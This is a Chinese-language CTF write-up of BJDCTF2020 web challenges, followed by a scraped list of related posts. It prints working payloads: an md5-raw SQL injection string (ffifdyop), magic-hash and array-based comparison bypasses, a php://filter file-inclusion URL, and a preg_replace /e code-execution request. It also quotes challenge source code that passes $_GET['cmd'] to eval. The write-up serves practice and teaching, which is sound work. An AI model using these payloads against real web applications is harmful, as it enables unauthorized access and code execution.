简介

 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

1.Easy MD5

 1.涉及知识点:md5函数特性绕过、SQL注入

 md5() 

md5() 函数计算字符串的 MD5 散列。

md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。

md5(string,raw)
string 必需。规定要计算的字符串。
raw

可选。规定十六进制或二进制输出格式:

  • TRUE - 原始 16 字符二进制格式
  • FALSE - 默认。32 字符十六进制数

2.通过md5($pass,true)实现SQL注入 

bp抓包  发包发现这一句

Hint: select * from 'admin' where password=md5($pass,true)

可以看到这里的raw参数是True,意为返回原始16字符二进制格式。

也就是说如果md5值经过hex转成字符串后为 'or'+balabala这样的字符串,则拼接后构成的SQL语句为:

select * from `admin` where password=''or'balabala'

当'or'后面的值为True时,即可构成万能密码实现SQL注入,这里我们需要知道的是MySQL的一个特性:

所以只要'or'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点。

可以通过这个脚本来获得满足我们要求的明文:

<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?> //引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

这里提供一个最常用的:ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or'6<trash> (<trash>其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的<trash>会在MySQL将其转换成整型比较时丢掉)

所以如果这里我们输入ffifdyop,后端的SQL语句会变成:

select * from `admin` where password=''or'6<trash>'           --->  True

引用大佬博客:https://www.cnblogs.com/yesec/p/12535534.html

所以输入ffidyop会到下一个页面。

3.通过Hash缺陷绕过md5()验证

hash缺陷参考https://www.cnblogs.com/xhds/p/12349189.html

通过查看源代码发现源码

payload:

http://96c67b57-df3d-41a2-bc76-836c71cda19b.node3.buuoj.cn/levels91.php?a=s878926199a&b=QNKCDZO

4.通过数组绕过

到下一个页面直接暴露出源码进行绕过

payload:

POST:param1[]=1&param2[]=2

CTF数组绕过姿势

>     md5(array()) = null
> sha1(array()) = null
> ereg(pattern,array()) = null vs preg_match(pattern,array) = false
> strcmp(array(), "abc") = null
> strpos(array(),"abc") = null 引用:https://blog.csdn.net/q1352483315/java/article/details/89469928

2.ZJCTF,不过如此

1.涉及知识点:文件包含、preg_replace()使用的/e模式可以存在远程执行代码

    reg_replace()使用的/e模式可以存在远程执行代码

    https://xz.aliyun.com/t/2557

2.本地文件包含漏洞利用

打开页面出现源码 审计构造.....

第一个部分可以利用本地文件包含绕过

首先I have a dream base64编码 SSBoYXZlIGEgZHJlYW0= 使用PHP伪协议来绕过 file_get_contents==="I have a dream"  页面有个注释内容为next.PHP

最后构造payload:

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

获得next.php文件的源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id; function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
} foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
} function getFlag(){
@eval($_GET['cmd']);
}

3.利用.reg_replace()使用的/e模式远程执行代码getflag

payload:

/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);

简介

1

简介

1

简介

1

[原题复现]BJDCTF2020 WEB部分全部解的更多相关文章

  1. [原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)

    简介  原题复现:https://github.com/woadsl1234/HCTF2018_admin  考察知识点:session伪造.unicode漏洞.条件竞争  线上平台:https:// ...

  2. [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)

    简介  原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn  考察知识点:上传绕过..user.ini  线上平台:h ...

  3. [原题复现][2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)

    简介 今天参加i春秋新春抗疫赛 一道web没整出来 啊啊啊 好垃圾啊啊啊啊啊啊啊  晚上看群里赵师傅的buuoj平台太屌了分分钟上线 然后赵师傅还分享了思路用handler语句绕过select过滤.. ...

  4. [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)

    简介  原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...

  5. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  6. [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)

    简介  原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January  考察知识点:$$导致的变量覆盖问题  线上平台:https://buuoj.cn( ...

  7. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  8. [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)

    简介  原题复现:  考察知识点:PHP弱类型.  线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露  下方都试了 ...

  9. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

随机推荐

  1. C# 微支付退款申请接口 V3.3.6

    /// <summary>/// 微支付退款申请/// </summary>/// <param name="context"></par ...

  2. pytest参数化代码笔记

    #!/usr/local/bin/python3 # -*- coding: utf-8 -*- import pytest __author__ = "Carp-Li" __da ...

  3. Codeforces Round #677 (Div. 3) D/1433D Districts Connection

    https://codeforces.com/contest/1433/problem/D 找两个不同权值的节点A.B连起来,所有与A不同权值的连到A上,相同的连到B上. #include<io ...

  4. UVA 12298 Super Poker II (FFT)

    #include<cstdio> #include<cmath> #include<cstring> #include<algorithm> using ...

  5. java 第二课 标识符

    Java 标识符为字母.数字.下划线.dollar符 变量不能以数字开头 包名小写 类.接口首字母大写 方法首字母小写 全局变量首字母小写 局部变量首字母大写 常量大写,单词间用下划线隔开 Java中 ...

  6. SpringBoot整合Apache-CXF实践

    一.Apache CXF是什么? Apache CXF 是一个开源的 Services 框架,CXF 帮助您利用 Frontend 编程 API 来构建和开发 Services ,像 JAX-WS . ...

  7. 通过代码实现 `OutOfMemory

    通过代码实现 OutOfMemory Intro 来尝试写一个发生 OutOfMemoryException 的代码吧,开启煞笔代码第三篇 -- OutofMemory OutOfMemory Out ...

  8. Spring框架中获取连接池常用的四种方式

    1:DBCP数据源 DBCP类包位于 /lib/jakarta-commons/commons-dbcp.jar,DBCP是一个依赖Jakarta commons-pool对象池机制的数据库连接池,所 ...

  9. C2. Pokémon Army (hard version) 解析(思維)

    Codeforce 1420 C2. Pokémon Army (hard version) 解析(思維) 今天我們來看看CF1420C2 題目連結 題目 略,請直接看原題. 前言 根本想不到這個等價 ...

  10. 美区Apple ID账号共享

    前言 前几天我已经分享了日区的账号,今天我来分享一下美区的账号.说到这个美区的账号,满满的记忆呀!这是我第一个公众号时创建的外服账号,里面的软件比较多,原本想整理一下自己购买了哪些软件的,乍一看,已购 ...